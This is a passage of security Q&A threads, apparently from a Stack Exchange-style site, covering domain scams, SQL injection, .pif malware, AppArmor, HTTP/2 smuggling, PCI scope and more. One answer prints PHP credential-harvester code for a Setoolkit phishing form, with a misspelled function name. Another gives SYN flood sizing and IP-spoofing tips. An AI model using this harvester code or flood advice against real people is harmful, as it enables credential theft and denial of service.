We have advised a very large number of our customers to disregard these emails, and not once has any of the domains mentioned actually been purchased by the individual or company that was supposedly attempting to acquire them. None of the people who have written about receiving these emails online has had this outcome, either. Everything points to these emails being a widespread scam!

Further reading:

Canadian Trade Commissioner Service: Domain name registration in China
SCAMWatch (Australian Competition & Consumer Commission): Think carefully about unsolicited offers to register domain names overseas

I can only post two links, but you'll find a bunch more if you do a Google search for "Chinese domain scam" or something of the sort. It's widely attested.


Secure source code review tool for jQuery Does anyone know any secure source code review tool for jQuery/jQueryUI. I've looked around a bit but couldn't find anything. Its too good if it is opensource.

Very few vulnerabilities exist in client side code when compared to other components in a modern web application.  Even if you have a very obvious CWE-602 violation the vulnerability exists because of a lack of server-side controls.  No tool that I am aware of can detect CWE-602 violations.

That being said the client isn't totally exempt from vulnerabilities.   The two biggest problems being mixed content vulnerabilities and dom based xss.  Domsnitch is one of the few tools that is able to detect both of these, although it also produces a large number of false positives.

There are also commercial tools that perform static code analysis of JavaScript for the purpose of finding vulnerabilities.  HP Fortify and IBM's AppScan are examples of this type of software.


Setoolkit - credential harvester, only display the first character of the password I'm launching a spear phishing campaign and my client has specifically asked me to only harvest the first character of the password, is there a way to do so?

Basically instead of showing the whole password when a user will input theirs, I want only the first character to appear.

Otherwise, is it possible to produce a hashing when the password is being sent to the apache server?

If you're using the option I'm thinking of, your cloned form is POSTing to post.php. You could edit that script in order to make it do what you want.

<?php
$file = 'harvester_sdfskksdks.txt';
file_put_contents($file, print_r($_POST, true), FILE_APPEND);
?>

<meta http-equiv="refresh" content="0; url=http://0.0.0.0:8000/index.html" />

Instead of writing all the $_POST var, just do

file_puts_content($file, $_POST['login'] . ':' . substr($_POST['password'], 0, 1), FILE_APPEND)


Are there any observed Rowhammer attacks in the wild Due to the latest news regarding Rowhammer and its applicability to ECC DRAM, I was wondering whether there are any Rowhammer attacks spotted in the wild. Given the various approaches to conduct a Rowhammer attack (on X86, ARM, via JavaScript or remote), I am curious to know whether, from a practical point of view, it is still more of a conceptual attack than being an attack vector that is actively exploited.

So far, my research did not come up with a single security incident that could be attributed to Rowhammer.

It is not observed by us (or better said not widely reported) because it generally was considered impractical. But in several occasions, even recently, it has been demonstrated to be doable (at blackhat too).

So Row-hammer attacks are still a realistic threat even to modern systems, which is most disturbing. Since defenses get better, attackers will likely target more hardware bugs, even if the hardware must me more specific.

I think we will see something public if the attacked target will be large/important enough.

RH resources here

Also see DRAMMER


Is it necessary to use SSL for MySQL? I have a MySQL and Apache web server (both are installed on the same machine). Users will interact with it by a VB.NET application and the web. The server is accessible by the Internet.

VB.NET application: They fill out the fields, and submit the information to the database.
Web: Users can view the information any user submitted. The web page simply displays the database in a table format.

The information is not super critical, it's just stats/benchmarks (especially since anyone in the world is allowed to view it). I ask because this is my first time deploying anything SQL. Is it really necessary to enable SSL?

You basically answered your own question by stating anyone in the world can read this information. This makes me believe it is not necessary.

However, from a security point of view it is always recommended to use best practices, meaning: use transport layer protection.

Web based Clients

Since the web server and database server run on the same machine, connections to the database should be made to 127.0.0.1:3306 as MiTM attacks are not possible. However, privileged (non database) users on the server could capture this traffic

VB Clients

These specific clients will most likely directly connect to your MySQL server. If this is the case, the clients send their credentials over a non secure transport layer.

If the VB Client uses the web forms of the web server, the above statement does not apply and the same applies here as for the web based clients.

Considerations & Recommendations

In case your VB clients directly connect to your database over the internet, it is recommended to use transport layer protection [1].

Consider if you might store more sensitive data in the future. Be prepared for the future.

One day someone might have this "bright idea" by saying: "Let's create an additional form where the users should store their details", where you have to store their names, addresses, e-mail addresses and IP address for example.

[1] I try to avoid using the term SSL due to the somewhat recent flaws.


Windows 7 File Patching, Custom Visual Styles In order to apply custom "visual styles" or themes in Windows 7, you must patch a few system files including Explorer.

I can see from the start how this could be a potential security problem, but how much so?  Is there any confidence to be had in the fact that accusations of malicious intent don't seem prevalent?

Lastly, are there any ways to modify these files by hand to facilitate custom visual styles?  Input on how safe or unsafe this may be is also welcome.

The basic problem is that in order to for Windows to be in a trusted state all of it's own files must not be tampered with.

Tampering with the file(s) on its own won't cause too much harm simply because Windows will catch the change and replace the file with a known good copy. It gets very serious however when you block the replacement, which is required if you want the visual style to stick around.

Blocking the replacement means that any other malicious activity that attempts to modify a system file will have a better chance of succeeding. In other words, you've just accomplished the task of a piece of malicious code on behalf of the malicious code.

Please don't do this.


Can a sql query with both user input and parameter be prone to sql injection? I've stumbled over some code in an application where (certain) users are allowed to input where conditions. In addition to this there is a part of the where condition that is set as a parameterized query.

E.g.:

select foo from bar where <user generated> and foo = ?

(Besides this the user generated portion is run through a filter of sorts before the query is constructed that only allows certain input)

The application uses JDBC against Mysql (Connector/J). This driver do, as far as I can understand, the preprocessing of prepared statements on the client side. If sql injection is possible, would it be possible to "escape" out of the parameterized where condition? Perhaps with subqueries?

Yes.  Pretty much any sql query that concatenates raw or imperfectly protected user input can be vulnerable to injection.

There are some restrictions.  For example, The user input has to be long enough to be a viable attack (single character injection may not be enough, given the specific use of the soecific statement in question). It has to be usable data for the attack (input validation may restrict the input to a know white list of safe values, such as {1, 2, 3}).  It cannot be encoded in another, benign form (like basese64 encoding the user data).

The rule of thumb you should use is "if it's concatenated, it's a vulnerability unless proven otherwise."  It's generally cheaper and faster and easier to fix than to prove it's not a vulnerability, so it should just be fixed.


How is it possible to embed executable code in an image I was reading up on FireEye and came across this NYTimes article detailing a Skype chat where an image was sent laden with malware:
Quote:

To gain access to information on the devices..., hackers posed as women on Skype, identified the types of  devices the targets were using and sent photos laden with malware.
The second photo was a particularly potent piece of malware that copied files from the targets computer

I know exif data and IPTC headers exist in images and am pretty sure you could stuff some extra info in an image file using FileMagic mimetype header info, but how is it possible to embed executable code in an image?
The image file format was pif so unless the computer had an app that opened the file and showed a picture while secretly exectuing code, I dont see how its possible.

The answer is simple. That was not a photo. And .pif is not an image format. Count on NYTimes to provide correct technical info.

As the log on NYTimes's article says, and as FireEye's actual report confirms, the file used was a .pif file. It's one of the less known of Windows's executable file extensions.

.pif is legacy from MS-DOS, like .com. It's intended to be a "program information file" (hence the name), storing a shortcut to a (DOS) program along with various info to the system on how to treat it. Even today, Windows gives .pif files a shortcut-type icon.

The funny thing is that, today, Windows doesn't really care if the .pif is really just a program information file. Try it: rename any .exe file into a .pif and run it. There might be some difference like the icon not displaying, but that's all. That's what uniform treatment of files of different formats gets you. Thanks, Microsoft!

Why does this happen? Short answer: Because Windows. Longer answer: Windows runs a .pif through ShellExecute, which technically should find a suitable program to open a file and then use it to open it. With .pif files, it first checks if it is really a file that points to an MS-DOS executable. If it doesn't conform to the .pif file format, ShellExecute checks if it contains executable code. If it does, it gets run as if it was a .exe. Why? Because Windows!

What did the suuper-scary genius hackers do? These guys didn't bother doing anything complicated: they made a self-extracting-and-executing SFXRAR archive out of a virus installer and a program (probably just a .bat) opening an image of a girl that they found on the internet, renamed that devilish contraption into a .pif file and sent it to the hapless freedom fighter.

Why did they use .pif? For two reasons, obviously:

Few people know that it can run as an executable file (thanks, Microsoft!)
It obviously sounds like .gif or .tiff or .pdf or something very image-y. Even you didn't doubt from its name that it was an image format, didn't you, OP? ;)

Concerning your actual question ("how is it possible to embed executable code in an image"). Yes, it is possible to execute code via a specially crafted image provided it is opened in a vulnerable program. This can be done by exploiting an attack like a buffer overflow. But these specific hackers were most probably not clever enough for this.

Edit

Interesting note: these guys actually used DarkComet, which has the ability to generate compressed executables with different extensions, .pif being in their list. I'm not sure about displaying an image, but this could be a functionality added in a newer version.

Another edit

I see you're asking on how to protect against this specific "vulnerability". The answer is simple.

First, make sure Windows shows you file extensions. Windows mostly hides them by default (thanks, Microsoft!)

Then learn this by heart: .exe .com .cmd .bat .pif .vb .vba .vbs .msi .reg .ws .wsc .wsf .cpl .lnk. These are the best known file types that can easily execute potentially malicious code or otherwise harm your computer if opened, whether you have vulnerable applications installed or not. If someone sends you such a file saying it's an image of a pretty girl, you can be sure it's another low-profile hacker like these syrian guys.

Another option is simply being pro-active and checking and double-checking any downloaded file with an unfamiliar file format. It could be malware, you know.

As for real images with exploits... you could probably try keeping your software up to date.


What can I do to rely less on certificate authorities? I never trusted and liked CA's and in fact I removed a lot of them from my devices. But now after this question I'm wondering if I should generate my own certificates for the sites I care (e.g, like my bank or github.com) I just feel I can't prolong my trust on CA's any more: they are susceptible to hacking (like any system), possible corrupt and they would try to hide their errors rather than disclose any flaws.

If MITM myself and the sites I care with my own certificates, will I make impossible to others to the same to me? Would this generate a security risk?

Unfortunately, this won't do anything to fix the problem, and might even make things worse for you if you don't set things up properly.

Certificates are designed to provide assurance that the public key your connection is encrypted with actually belongs to the server you are trying to connect to. It does this by using a signature from a third party certificate authority that your browser already trusts. Basically it's a signed statement from the CA saying "we have verified that this public key belongs to this website".

If you tell your browser "hey, don't trust those certificate authorities anymore, only trust certificates from the custom proxy/CA that I'm going to set up", it will, but then the question becomes: "how does this new CA decide which public keys belong to which websites"? You haven't solved the problem, just moved it. Moreover, if your custom CA isn't implemented properly it could open you up to other vulnerabilities (for example, by issuing certificates when it shouldn't, or tricking your browser into thinking a connection is encrypted when really it's not).

Unfortunately, until someone comes up with a better way for websites to distribute their public keys in a secure and verifiable way, we're stuck with CAs and the X.509 public key infrastructure.


Stretching a hash, many iterations versus longer input string I have been reading up on various password hashing schemes, for example the SHA-based Crypt proposed by Ulrich Drepper and used in some Linux versions.

A recurring theme here is to 'strengthen' or 'stretch' the hashing function, by using many iterations of the same hash. The runtime of the hashing function can also be increased by concatenating the salt and password together several thousand times, to form a much longer string, and then hash the string once. However, this method seems not to be favored.

Why is that -- why does it appear that concatenating the salt and password together many times isn't a viable way of stretching the hash function?

The main reason why concatenating the salt and password many times is not used is a combination of tradition and laziness. Namely, since password size is not fixed, the number of copies would have to be adjusted so that the "much longer string" size reaches a given goal. It seems that some initial implementers of such schemes found it cumbersome, possibly because it implies using a "streamed" hash function implementation (which accepts data by successive chunks) instead of a one-function-call implementation. Most ulterior designers simply copied the previous designs for no real good (neither bad) reason.

On a theoretical point of view, multiple concatenations of the salt and password are better, because multiple iterations reduce the space of possible hash values (a hash function is not a permutation). But the reduction does not go below a 2128 space of a 256-bit hash function, so no worry here.


Using email as individual validation My company often sends orders to brokers and banks to execute certain actions (like buying x stock or y fund). In order to reduce bureaucracy we are considering send a list of emails that are allowed to send orders.

Is there big flaws in this procedure? Like, could someone pretend it is sending a email from someone else' mail(spoofing)? thanks!

It is as easy to spoof the sender of the email as you can lie about the sender on the envelope of snail mail. It is also not only easy but heavily used: the majority of spam and phishing mails use address spoofing. The only real way to be sure about the sender is if the sender signs the mail and the recipient verifies the signature. Common solutions for signing (and encrypting) are PGP and S/MIME.

There are other anti-spoofing techniques like DKIM or SPF but these work at most at the level of domains and thus can not detect if somebody inside a domain is spoofing another mail account inside the domain. If protection at the domain level is all you need then DKIM should be preferred to SPF because it signs outgoing mails using cryptography. This signature then can be checked inside supporting mail clients. With SPF instead the receiving mail server must check that the mail comes from the expected IP addresses and the end user can not verify this. But you could also use both DKIM and SPF at the same time.


Should I wait for Apple to fix the recent WPA2 KRACK exploit before downloading new apps over Wi-Fi? Monday of this week: researchers announced the WPA2 KRACK exploit that effectively voids the protection of WPA2. Supposedly Microsoft already fixed it, Apple's working on patching it for Mac OS and iOS. Android and Linux get the worst of it - facing the most dangerous forms of the exploit and with minimal resources for updates.

With that in mind, how safe is downloading new apps from the App Store over Wi-Fi? Should I download apps to my computer and sync them over via USB connector while waiting for a patch?

You should be fine to download new apps from the App Store.

Let me start by saying that there are no known instances of KRACK being used in any exploit outside of research environments so far. Even if it is and your connection has been compromised, you should be safe using the App Store.

Logging into and accessing the App Store has been using HTTPS since 2013 (see here for more). This means that any of the communication to the App Store should be secure.

As for the apps themselves, Apple makes the process fairly secure. Each developer of iOS apps is required to apply for a certificate to sign any application they create. iOS devices use this certificate to verify the signature that the application is authentic and unchanged before installing the application (I recall sometime before 2010 when they enabled this it created a bit of a stir as it deleted any "invalid" apps). An attacker would have to have a valid certificate from Apple as a developer and modify the application's signature to their own to modify the application.

Of course, no security it bullet proof, so if you want to err on the side of caution and use the USB transfer method you describe, there would be no harm in that either.


Time of working generating hash with sha2 It is fragment of pseudocode algorithm SHA2 from wikipedia:

break message into 512-bit chunks
for each chunk
    create a 64-entry message schedule array w[0..63] of 32-bit words

For me, it means that time of working SHA2 algorithm depends on size of input word.   So the more input word is, the longer time of working SHA2 is.

Am I wrong ?

Yes, this is true, though the timing differences between two short messages (e.g. 100 and 1000 bytes) are negligible. Computing the SHA256 hash of a gigabyte of data understandably takes much longer than computing the SHA256 hash of a few hundred bytes.


Can attacker break out of apparmor jail with the following profile? Below is an example profile I've created for web apps, in which I've limited files / commands it can access. It includes profiles to nginx, php-fpm and mysql, no commands is allowed, only few directories / files for read / write / flock access, and network socket.

(The rest is located in my github repository)

/usr/bin/php-fpm {
  #include <abstractions/base>

  capability chown,
  capability kill,
  capability setgid,
  capability setuid,

  # Suppress the "DENY" error logs
  deny /usr/bin/bash x,

  /etc/php/** r,
  /run/php-fpm/ r,
  /run/php-fpm/php-fpm.* w,
  /usr/bin/php-fpm mr,
  /usr/lib/php/modules/* mr,

  /var/html/{**,} r,

  # logs
  /var/log/ r,
  /var/log/php*.log w,

  # Web folders that need write access
  /var/html/icy/{cache,logs,files,images,downloads}/{**,} rwk,
}

Right now I believe after a successfuly remote exploit, the attacker can only affect the web app folder, and can't compromise the system further,

So my question is, is there still a chance for the attacker to break out of this?

And how?

Of course. Your profile (And NO apparmor profile) does nothing to limit kernel attack surface. An attacker can exploit the kernel, unhook apparmor, and be out.

  only few directories / files for read / write / flock access, and network
  socket.

Notice that  ? That's adding hundreds more files to your profile. While your profile may look quite tight, it is in fact allowing quite a lot of access.

That said, no massive issues stick out. No UX, no write access to really critical stuff. Those capabilities suck though - you sure they're necessary? Probably are.


Is powershell being executed from within Javascript a security risk? One of our clients called after getting hit by a popup and being asked to call a number. This scam tatic has been growing faster and faster in terms of calls that we get.

I was curious how they knew so much about the client's system, down to processes and anti-virus running.

I did a quick look at saw something like this:
https://stackoverflow.com/questions/10179114/execute-powershell-script-from-node-js

So my question is this. Is this a security threat to the machine or just certain browsers?

Right now my way of protecting clients is to have them run ad blocking software since it looks like rogue ads are the lead cause of this.

Node.js is a server-sided javascript implementation. It runs on a webserver, not in a browser. If anything, it can be used to open a powershell session on the server it is installed on.

So unless your client runs a webserver AND has node.js installed on that webserver AND has a script on it which uses the method described in the stackoverflow answer to have it run a powershell child-process AND has a vulnerability in that script which allows an attacker to inject arbitrary code into powershell, that's a quite unlikely attack vector.

For how the attacker learned the information you mentioned about your client's system: You aren't providing enough information to make a guess in that direction.


Attacking through a malicious HTML file apart from XSS through Javascript? I recently came across a behavior in a web application where the application (through the use of the header Content-Disposition: attachment) offers to download an HTML file instead of allowing it to get parsed by the browser. Interestingly, the GET requests to the URL that lets you download the HTML page passes the absolute path of the HTML file that will be downloaded - starting all the way from /usr/local....<snip>/public/mypage.html.
If an attacker has the privilege to upload an HTML file to this location (public), apart from an XSS attack, what else can he/she do on the machine of a victim who downloads and open the HTML file crafted by the attacker?
I am aware of the XSS attacks, that one can do by injecting some malicious Javascript in the HTML file. I would like to know what else an attacker can get done outside of Javascript XSS attacks.

I Belive this could be used to distribute a sorta of clickjacking attack , and obviously you can force the victim to download some exe from the crafted HTML page. Furthermore you can use the a link with href stuff like file:/// to run the malicious exe .
Sorry for typos in from phone


Threshold for DDOS Attack I am trying to understand and simulate SYN Flood DDOS attacks. I am using snort to give me alerts. While I have control over the rate for my testing, I am interested in knowing what a good estimate of the traffic rate might be for an actual attack?

Nowadays TCP SYN attacks are not common, focus more on UDP amplification attacks over DNS, memcache and other UDP services. On the other hand, if you want to compute the traffic rate you can use the formula, IP header (20 bytes) + TCP header (20/32) bytes per packet, so is easy to know how many packets per second you need to send if you want a 1GB for example.

Another key aspect that you may consider is the "IP address spooofing", in order to avoid the detection of the source of the attack is easy spoof IP/UDP packets than IP/TCP if you want full TCP connection.


Is it safe to extract file from potentially infected disk I have a hard drive used for years, there are windows and many personal files on it. What I called "files" are images, musics, documents (pdf or docx), but not programs. All the "files" were not initially infected. As I said in the title, the hard drive may be infected by malware (I did not safely use it).
My question is : can I extract these personal files on a safe computer without risk of contamination ? In other words, may these files be infected and spread malware ?

It depends on the nature of the malware.
A "classic" malware would be a single executable, usually spread by a third party via email attachment and not autonomously spreading itself by piggy-backing on files (it might spread itself through disk shares or the filesystem, but making copies of its executable, not altering other files); so, while it might destroy (or encrypt, which is often the same thing in this business) your documents, it would not infect them.
A computer virus or worm could infect Office documents with macros and PDFs with malicious Javascript as a means of spreading itself. With a very, very low probability it could also conceivably hide malicious code in certain types of images and videos.
In the first case, the disk is safe as long as you never execute any binary file it contains and limit yourself to copying documents, images, video, music; never programs.
In the second case (the virus), the disk is not safe, any document it contains is potentially suspect, and actually even plugging it into a clean computer might compromise the latter; this is because there might be an AutoPlay exploit (you can make it so every time you plug a flash drive or other media into a PC, a specific file on that media is executed; the same can be done, with more difficulty, with a specially crafted icon file usually used to associate the device with a recognizable or branded image).
However, scanning the disk with a reliable antivirus (from a system designed to be safe against AutoPlay and icon exploits) should clear any doubt. Another possibility is to use an antivirus bootable CD-ROM (e.g. ESET or Kaspersky), that will start an antivirus environment designed not to contaminate the primary hard disk.


How can ISP's block a website specific content while using encrypted connection? I'm learning about encryption and SSL certificates and I'm wondering: If an encrypted connection is used when connecting to a website using a SSL certificate, how can ISP/company manager/government (whoever controls the network traffic) block some specific content of that website?.

I know from this question that an entire website/domain(IP address) can be blocked since the server IP is not encrypted at the TCP layer, otherwise no way to make a connection!. But since an encrypted connection is established, all data traffic is encrypted - including the request headers (like URL header) -, So ISP's don't know if the request is for

https://www.example.com/good-content

or for

https://www.example.com/bad-content

because the entire URL is encrypted along with the entire request to the receptionist.

My problem now is, how could some ISP's block some videos on YouTube about 4 years ago?.

I wasn't aware of something called encryption 4 years ago to think about it, but now I'm trying to understand what was going on that time.

The only Explanation I could come up with Is that YouTube was allowing http requests at that time . So an http request to

 http://www.youtube.com/watch?v=bad-content

can be blocked , but a an https request to the same URL can not be blocked because the ISP doesn't know what is being watch!. I don't know if my explanation is right or wrong, but I hope I can understand.

Two things come to mind here:

ISP requires certificates from them to be installed on your computer prior to allowing you to access the net. In this dystopian environment (which does exist in some countries and many corporate networks), the ISP would require you add their certificate to your trusted root store before accessing network resources. When your request is made to https://someplace.com/any-content, a proxy performs a man-in-the-middle, decrypts the traffic, and re-encrypts it on the fly with the certificate for the root store.  This would allow them to decrypt traffic and perform a MITM to inspect your traffic.
ISP Blocks domain names ISPs can block and filter DNS requests to somesite.com at will. Granted, this would block https://somesite.com/good-content and https://somesite.com/bad-content as well.


Does HTTP/2 prevent security vulnerabilites like CRLF injection? Which vulnerabilites does HTTP/2 prevent?
More specifically:

Does it prevent HTTP request smuggling?
Does it prevent HTTP response splitting / CRLF injection?

TLS related security features in HTTP/2
The concrete security improvements mentioned in the FAQ are related to TLS encryption: HTTP/2 MUST use at least TLS 1.2 and it support SNI. Also, HTTP/2 introduces a TLS 1.2 Cipher Suite Black List that implementations MAY treat as connection errors.

What does HTTP/2 do to improve security?
HTTP/2 defines a profile of TLS that is required; this includes the
version, a ciphersuite blacklist, and extensions used.
See the spec for details.
There is also discussion of additional mechanisms, such as using TLS
for HTTP:// URLs (so-called “opportunistic encryption”); see RFC 8164.

In addition to that, HTTP/2 provides secure compression features that enables you to have header compression while having TLS 1.2 compression disabled. From http2 explained:

6.5.1. Compression is a tricky subject
HTTPS and SPDY compression were found to be vulnerable to the BREACH
and CRIME attacks. By inserting known text into the stream and
figuring out how that changes the output, an attacker can figure out
what's being sent in an encrypted payload.
Doing compression on dynamic content for a protocol - without becoming
vulnerable to one of these attacks - requires some thought and careful
consideration. This is what the HTTPbis team tried to do.
Enter HPACK, Header Compression for HTTP/2, which – as the name
suggests - is a compression format especially crafted for http2
headers, and it is being specified in a separate internet draft. The
new format, together with other counter-measures (such as a bit that
asks intermediaries to not compress a specific header and optional
padding of frames), should make it harder to exploit compression.

Does HTTP/2 prevent HTTP request smuggling?
HTTP request smuggling isn't really a vulnerability in HTTP/1.1 protocol itself, but the existence of two different ways of specifying how the request ends (Content-Length & Transfer-Encoding) leaves room for bad HTTP proxy server chain implementations. In HTTP/2 there's only one:

In short, HTTP/2 breaks down the HTTP protocol communication into an
exchange of binary-encoded frames, which are then mapped to messages
that belong to a particular stream, all of which are multiplexed
within a single TCP connection.

With these binary frames, the end of the frame payload (containing e.g. the request) is specified by the Length (24) field in the frame header (RFC 7540, 4.1), which makes it unambiguous. Therefore, the HTTP request smuggling article even mentions using HTTP/2 for back-end connections as one way to prevent these vulnerabilities:

Some generic ways to prevent HTTP request smuggling vulnerabilities
arising are as follows:

Disable reuse of back-end connections, so that each back-end request is sent over a separate network connection.
Use HTTP/2 for back-end connections, as this protocol prevents ambiguity about the boundaries between requests.
Use exactly the same web server software for the front-end and back-end servers, so that they agree about the boundaries between
requests.

Does HTTP/2 prevent HTTP response splitting / CRLF injection?
HTTP response splitting is just an example of a CRLF injection. The way header block is treated (RFC 7540 4, especially 4.3) leaves less room escaping from the header block simply using two CRLFs:

Each header block is processed as a discrete unit.  Header blocks MUST
be transmitted as a contiguous sequence of frames, with no interleaved
frames of any other type or from any other stream.  The last frame in
a sequence of HEADERS or CONTINUATION frames has the END_HEADERS flag
set.  The last frame in a sequence of PUSH_PROMISE or CONTINUATION
frames has the END_HEADERS flag set.  This allows a header block to be
logically equivalent to a single frame.

A newline is also in general less significant as explained in Google's Introduction to HTTP/2:

Unlike the newline delimited plaintext HTTP/1.x protocol, all HTTP/2
communication is split into smaller messages and frames, each of which
is encoded in binary format.

While the serialization of the header list can also help with other type of CRLF vulnerabilities like HTTP Header Injections, it doesn't automatically prevent all possible CRLF vulnerabilities in the web application, as the web application could still treat %0d%0a in GET data, POST data, cookies or in any single header specially. To prevent that, e.g. Netsparker Security Team recommends:

How to Prevent CRLF / HTTP Header Injections in Web Applications
The best prevention technique is to not use users input directly
inside response headers. If that is not possible, you should always
use a function to encode the CRLF special characters. Another good web
application security best practise is to update your programming
language to a version that does not allow CR and LF to be injected
inside functions that set HTTP headers.


SRP 6a implementation C# I'm trying to implement the SRP crypto; 6a. However I'm not familiar with the cryptography and it's computing. I'm using the public implementation of the BouncyCastle lib, but I have no idea how it works actually. It's for a "private" server for a game and I'm kinda stuck now.

Implementating your own authentication protocol is not easy and should be left to professionals.  If you feel like you have to write your own security protocol,  you are doing it wrong.  A lot of other people have this same need,  and they have already implemented it for you.

SRP isn't a bad choice for authentication,  in fact there is SRP-TLS,  which uses SRP to create a TLS connection.   SRP-TLS has been implemented in OpenSSL and bindings for this library exist for C#.

Also keep in mind,  that the password itself isn't how the client maintains its authenticated state.  For example,  in a web application a user logs in with a username and password and they are given a cookie to authenticate with the web application.  If the attacker obtains this cookie,  then can login.  To prevent this,  the entire session (or in your case the entire game) must be protected with TLS,  or you will be in violation of OWASP a9 and anyone sniffing the wire can just wander into the game.


Why is it a security issue to load Notepad++ plugins from %APPDATA% folder? I have used the Notepad++ installer several times. However, it caught my eye that in one of the installer windows there is an option of:

  Allow plugins to be loaded from %APPDATA%." Below it there is a warning that says "It could cause a security issue. Turn it on if you know what you are doing.

I came across this question whose answer left me with the impression that it has to do with User Access Control (UAC). However, I would like to get an expert voice in the issue.

The issue is that %APPDATA% can be written to by any application being run by that user (%APPDATA% is different for each user) - any app that is run can add a plugin there, which may do something evil if enabled.

In modern versions of Windows, the installation directories (i.e. Program Files) are protected, only elevated processes/users can write there. That means that if the plugins are coming from there, you can be assured that the user deliberately installed them.  (Unless, of course, they are in the habit of clicking yes to every question they are asked, in which case, they are beyond help)


Can I use a TLS certificate (first generated for a Windows Server) on a Linux Server? I don't have any experience on this kind of things, so please bear with me.
And I apologise if this has been asked before, but I couldn't find it in this site.
My situation:

I have a Windows Server (IIS) with a web site and web services
running.
I have an iOS app using such web services.

In the near future I'll migrate such web site and web services to AWS with Linux, but first I need to adopt ATS.
For reference to the next follow this link
Apple is asking developers to adopt ATS as soon as possible.
In the App Transport Security documentation says "forward secrecy" (which I'm not sure what exactly means)

In addition, your communication through higher-level APIs needs to be encrypted using TLS version 1.2 with forward secrecy. If you try to make a connection that doesn't follow this requirement, an error is thrown.

My questions:

I don't know how to create/request a certificate(s) for this to work. If you can point me in the right direction, it would be great (a link will be enough).

Which provider would you recommend to request such certificate(s)?

Will the same certificate(s) work when I move the web site and web services to AWS in Linux?

Thanks

To answer your explicit questions:

Basically you need to create a certificate sign request (CSR) which then will be used by a certificate authority of your choosing to create the actual certificate. Creating a CSR can be done by multiple ways, some CAs actually have own tools that are very user friendly.
Well the thing to do is checking out various CA's websites and compare what they offer and of course for what price (you might consider even https://letsencrypt.org/).
Yes. The only thing you need to do is correctly configure the new server.

Forward secrecy in secure communication means that if your private key gets compromised anytime in the future, past communication secured using this key are not at risk of being deciphered. See this article for more detail. This can not be ensured directly by using a specific certificate, but rather by the used cipher suite (e.g. suites using DHE-RSA for key exchange) which is chosen when establishing a secure connection.


Letting users to download data from my Django app I want to provide a way for my users to download their data, which are stored in S3, through my app. Should I provide them with a public url followed by a key random key, as in this example?
http://s3.amazonaws.com/user-xyz123/folder/some_csv_file.csv
It could be possible for an attacker to brute-force the url, so can I use the TokenGenerator from the Django app to generate the 'xyz123' suffix?
Another alternative is to let users download files directly from my app, but this will place some strain on my app.

As @millinon mentioned, use pre-signed urls. When a user requests to download a file, your Django app only needs to make one API call to AWS (generate_presigned_url), and then send the returned url back to the user.
From there the user will download the file directly from s3 via the url. This means, whether the file is 1MB or 10GB, or even 100GB, the strain on your app is constant, allowing S3 to handle the load usually introduced by larger files.
You can also set an expires in parameter for the URL, to ensure that the file isn't exposed for too long via the url. For files where you expect users to download immediately, this can be set to a short duration of ~1-2 minutes.


How to block all access to Akami deploy servers and Apple push servers? I no longer blindly trust the numerous connections that occur at night and during the day that always go to "content" and "push" servers like:

a23-33-37-54.deploy.akamaitechnologies.com
st11p01st-courier001-bz.push.apple.com
ve-in-f113.1e100.net

These always happen at night when no one is using the computer. I do not have iCloud enabled.

So I would like to block these. Is there an effective way to do that?

I tried setting these as keywords to block in my wifi router that that doesn't seem to work, perhaps because these sites are not being accessed by a browser.

 127.0.0.1 1e100.net

However this will not block direct access to an IP address e.g. https get from 173.194.75.113:443.

How can I block an IP range?

Thanks for any clues.

Use LittleSnitch to restrict what services applications can access, without having to manually list the thousands of servers owned by each of these CDNs. As a bonus, you can specify the rules by application, allowing for a much greater degree of control over who uses what.


How do we protect from the assignation of an unknown MAC-address to the network interface? If person Y sticks his adapter device into a fixed computer, person Y will be able to bypass MAC related restrictions since the inserted device has an unknown MAC-address. How do we protect from this beside enforced policy?
Assuming the restricted host is a Windows machine.

By whitelisting MAC addresses. If you are doing any sort of MAC address based filtering, you need to only allow known MAC addresses to connect to begin with.
They don't even need a separate adapter - changing your MAC address is easy to do in software, and some cell phones now randomize their MAC automatically when connecting to wifi to help anonymize them.
Even then, if an attacker can see traffic on the network, they could simply forge a MAC address from an already authorized machine. It provides some security, but not absolute security - there are a lot of ways a smart attacker can work around MAC address restrictions.
If you want to ensure even clever people can't bypass those restrictions, they need to be enforced by something like 802.1x, which validates the machine being connected either with a username and password or SSL certificate, before allowing them to connect to the rest of the network.
If you just want to make the restrictions a bit harder to get around, you can do that by restricting EVERYTHING that connects to the network, then whitelisting the devices you don't want to be blocked. There is still some potential there for spoofing the mac address of a whitelisted device, but it will at least be harder than just changing your MAC address to any random value.


SYN scan victim sending back RST I'm confused on the case of SYN scan and closed ports (the case of open ports makes sense). So, the attacker sends a ~40 byte SYN packet, a "closed port" would send a RST packet back to the attacker and is thus "unexploitable". Does this mean that the attacker can't send another SYN packet to the closed port to continue attempting to flood it? Or does that just mean that this port is unexploitable by other means but another SYN packet can be sent and the attacker can continue the process forever?

It depends on what the attacker is trying to accomplish.

Usually the goal with a network scan, is to identify active hosts on a network, and what services they offer. Either for the purpose of attacking them or for network security assessment.

You're describing a SYN flood attack, which is different than a scan.

A SYN flood occurs when a host sends a flood of TCP/SYN packets, often with a forged sender address. Each of these packets is handled like a connection request, causing the server to spawn a half-open connection, by sending back a TCP/SYN-ACK packet (Acknowledge), and waiting for a packet in response from the sender address (response to the ACK Packet). However, because the sender address is forged, the response never comes. These half-open connections saturate the number of available connections the server is able to make, keeping it from responding to legitimate requests until after the attack ends.

In the case the port is actually closed, you won't get any half-open connections, but you could possibly saturate the targets connection with packets, which would be a denial of service attack as well.


Do I need to be PCI compliant? We have an internal system and I am trying to determine if the system is in scope for the purposes of PCI-DSS compliance.

The system is completely internal, no public access. The system hold user information that includes an account number. It is possible that this account number might be an PAN from a credit card, although we don't really know whether it is or it isn't. The system does not process or take payments.

Is this enough to make that system in scope for PCI?

Does your system store, transmit, process card holder data along with PAN number?

If you answer yes to at least one statement then your system is in scope and will need to be PCI compliant.

  It is possible that this account number might be an PAN from a credit
  card

It doesn't seem to be clear to you what this account number is, but if it helps you understand the compliance scope:

if every account number is a full PAN, then the system is in scope.
if 1/100 account number is a full PAN, then the system is in scope.
if 1/1000 account number is a full PAN, then the system is in scope.
if 1/n account number is a full PAN, then your system is in scope.
if no account number is a full PAN, then your system is out of scope
if the PAN contains only a subset of the full card number, such as the last four or the first six and the last four the your system is out of scope.

Please keep in mind the statements above apply to your account numbers (might be a PAN) being stored, transmitted or process by your system.

Even if you do not process or take payment and you do store PAN for any purpose (account number) your system will be in scope.


